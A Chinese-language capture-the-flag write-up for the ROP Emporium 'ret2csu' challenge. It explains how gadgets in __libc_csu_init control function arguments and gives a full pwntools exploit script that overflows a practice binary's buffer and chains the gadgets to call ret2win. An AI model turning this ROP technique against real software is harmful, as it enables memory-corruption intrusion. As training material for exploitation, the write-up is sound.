# 前言 两月一号了,眼看九号就要打比赛我却还没学过 `ret2csu` 和 `SROP`,所以特此提前开一 章 [ROP Emporium](https://ropemporium.com/) 的题解,问就是里面有一道 `ret2csu`, 而且早晚会得这份题库的 LMAO 可惜没有 `SROP`,那这个我只能去 [Nightmare](https://guyinatuxedo.github.io/) 找 题做了,要不就自己出一题也行。 啊,突然想起来还有 `ret2dlresolve` 和 `ret2vDSO`……一会儿再开一章 tricks 专题好了 ,就从 ROP 的 tricks 开始写。 # Challenge 8 ## Information - Category: Pwn ## Description > We're back in ret2win territory, but this time with no useful gadgets.<br/> > How will we populate critical registers without them? ## Write-up ~_好啊,ROP Emporium 一共就八道题,而 ret2csu 就是这最后一题,有种上来就 bypass 小怪直奔去 attack BOSS's ass 的感觉,帅不帅?(bushi)_~ 嗯……有关 `ret2csu` 这个 trick 的详细信息,可以去读这篇发在 Black Hat Asia 的论文 [^1]. 简单来说就是当你找不到可以控制函数参数的 gadgets 时,就可以考虑一下这个 trick. > 当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通 信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫 `__li bc_csu_init` 的函数。——Hack Tricks 就以本题的 `__libc_csu_init` 为例(不同版本的 libc 的这个函数可能略有区别,不过 影响不大),看一下里面有什么好东东: ```asm wrap=false showLineNumbers=false ins={30-33, 40-46} __libc_csu_init __libc_csu_init ; =============== S U B R O U T I N E ================= ====================== __libc_csu_init __libc_csu_init __libc_csu_init ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64) __libc_csu_init public __libc_csu_init __libc_csu_init __libc_csu_init proc near ; DATA XREF: _s tart+16↑o __libc_csu_init ; __unwind { __libc_csu_init 000 push r15 __libc_csu_init+2 008 push r14 __libc_csu_init+4 010 mov r15, rdx __libc_csu_init+7 010 push r13 __libc_csu_init+9 018 push r12 __libc_csu_init+B 020 lea r12, __frame_dummy_init_array_e ntry ; Load Effective Address __libc_csu_init+12 020 push rbp __libc_csu_init+13 028 lea rbp, __do_global_dtors_aux_fini _array_entry ; Load Effective Address __libc_csu_init+1A 028 push rbx __libc_csu_init+1B 030 mov r13d, edi __libc_csu_init+1E 030 mov r14, rsi __libc_csu_init+21 030 sub rbp, r12 ; Integer Subtr action __libc_csu_init+24 030 sub rsp, 8 ; Integer Subtr action __libc_csu_init+28 038 sar rbp, 3 ; Shift Arithme tic Right __libc_csu_init+2C 038 call _init_proc ; Call Procedur e __libc_csu_init+31 038 test rbp, rbp ; Logical Compa re __libc_csu_init+34 038 jz short loc_400696 ; Jump if Zero (ZF=1) __libc_csu_init+36 038 xor ebx, ebx ; Logical Exclu sive OR __libc_csu_init+38 038 nop dword ptr [rax+rax+00000000h] ; No Operation __libc_csu_init+40 __libc_csu_init+40 loc_400680: ; CODE XREF: __ libc_csu_init+54↓j __libc_csu_init+40 038 mov rdx, r15 __libc_csu_init+43 038 mov rsi, r14 __libc_csu_init+46 038 mov edi, r13d __libc_csu_init+49 038 call ds:(__frame_dummy_init_array_en try - 600DF0h)[r12+rbx*8] ; Indirect Call Near Procedure __libc_csu_init+4D 038 add rbx, 1 ; Add __libc_csu_init+51 038 cmp rbp, rbx ; Compare Two O perands __libc_csu_init+54 038 jnz short loc_400680 ; Jump if Not Zero (ZF=0) __libc_csu_init+56 __libc_csu_init+56 loc_400696: ; CODE XREF: __ libc_csu_init+34↑j __libc_csu_init+56 038 add rsp, 8 ; Add __libc_csu_init+5A 030 pop rbx __libc_csu_init+5B 028 pop rbp __libc_csu_init+5C 020 pop r12 __libc_csu_init+5E 018 pop r13 __libc_csu_init+60 010 pop r14 __libc_csu_init+62 008 pop r15 __libc_csu_init+64 000 retn ; Return Near f rom Procedure __libc_csu_init+64 ; } // starts at 400640 __libc_csu_init+64 __libc_csu_init endp __libc_csu_init+64 __libc_csu_init+64 ; ----------------------------------------------------- ---------------------- ``` 我们发现有两个实用的 gadgets,分别是: ```asm wrap=false showLineNumbers=false pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret ``` ```asm wrap=false showLineNumbers=false mov rdx, r15 mov rsi, r14 mov edi, r13d call QWORD PTR [r12 + rbx * 8] ``` 这不就直接控制了函数的前三个参数了?多好。 注意第二个 gadget 也可以是以 `ret` 结束的,但是需要抵消一些 side effects: ```asm wrap=false showLineNumbers=false mov rdx, r15 mov rsi, r14 mov edi, r13d call QWORD PTR [r12 + rbx * 8] add rbx, 0x1 cmp rbp, rbx jnz <func> <snap> ret ``` - `[r12 + rbx * 8]` 必须指向一个存储可调用函数的地址(如果没有想法且没有 PIE,可 以直接使用 `_init` 函数)。 - `rbp` 和 `rbx` 必须具有相同的值以避免跳转。 - 有一些被省略的 `pop`s 需要考虑。 另外,从 ret2csu gadget 控制 rdi 和 rsi 的另一种方法是通过访问特定的偏移量,可以 参考这篇讲 BROP 的论文[^2].
唯一一个问题可能就是怎么让 `call QWORD PTR [r12 + rbx * 8]` 调用 `_init` 了,不 解释,直接看操作: ```asm wrap=false showLineNumbers=false ins={7-8} pwndbg> x/a _init 0x4004d0 <_init>: 0x1d058b4808ec8348 pwndbg> search -t dword 0x4004d0 Searching for a 4-byte integer: b'xd0x04@x00' ret2csu 0x400398 rol byte ptr [rax + rax*2], 1 ret2csu 0x400e38 rol byte ptr [rax + rax*2], 1 ret2csu 0x600398 0x4004d0 (_init) ret2csu 0x600e38 0x4004d0 (_init) ``` ## Exploit ```python #!/usr/bin/python3 from contextlib import contextmanager from pwn import ELF, context, flat, gdb, log, process, remote context(log_level="debug", terminal="kitty") FILE = "./ret2csu" HOST, PORT = "localhost", 1337 gdbscript = """ b *pwnme+133 c """ @contextmanager def launch(local=True, debug=False, aslr=False, argv=None, envp=None): target = None try: if local: global elf elf = ELF(FILE) context.binary = elf target = ( gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e nv=envp ) if debug else process([elf.path] + (argv or []), env=envp) ) else: target = remote(HOST, PORT) yield target finally: if target: target.close() def construct_payload(): padding_to_ret = b"".ljust(0x28, b"A") _init = 0x600398 __libc_csu_init = elf.symbols["__libc_csu_init"] generic_gadget_1 = __libc_csu_init + 90 generic_gadget_2 = __libc_csu_init + 64 pop_rdi_ret = __libc_csu_init + 99 cleanup_regs = [b"".ljust(0x8, b"A") * 6] return flat( padding_to_ret, generic_gadget_1, 0x0, # rbx 0x1, # rbp _init, # r12 -> _init b"".ljust(0x8, b"A"), # r13 0xCAFEBABECAFEBABE, # r14 -> rsi 0xD00DF00DD00DF00D, # r15 -> rdx generic_gadget_2, b"".ljust(0x8, b"A"), # add rsp, 0x8 *cleanup_regs, # for generic_gadget_1 pop_rdi_ret, 0xDEADBEEFDEADBEEF, elf.symbols["ret2win"], ) def attack(target): try: payload = construct_payload() target.sendafter(b"> ", payload) response = target.recvall(timeout=3) if b"ROPE{" in response: return True except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: with launch(debug=False) as target: if attack(target): log.success("Attack completed successfully.") else: log.failure("Attack did not yield a flag.") except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `ROPE{a_placeholder_32byte_flag!}` # 后记 没有后记,这系列还有七题没打呢写个毛的后记…… [^1]: Marco-gisbert, Hector and Ismael Ripoll. "return-to-csu: a new method to b ypass 64-bit Linux ASLR." (2018). [^2]: A. Bittau, A. Belay, A. Mashtizadeh, D. Mazières and D. Boneh, "Hacking Bl ind," 2014 IEEE Symposium on Security and Privacy, Berkeley, CA, USA, 2014, pp. 227-242, doi: 10.1109/SP.2014.22.











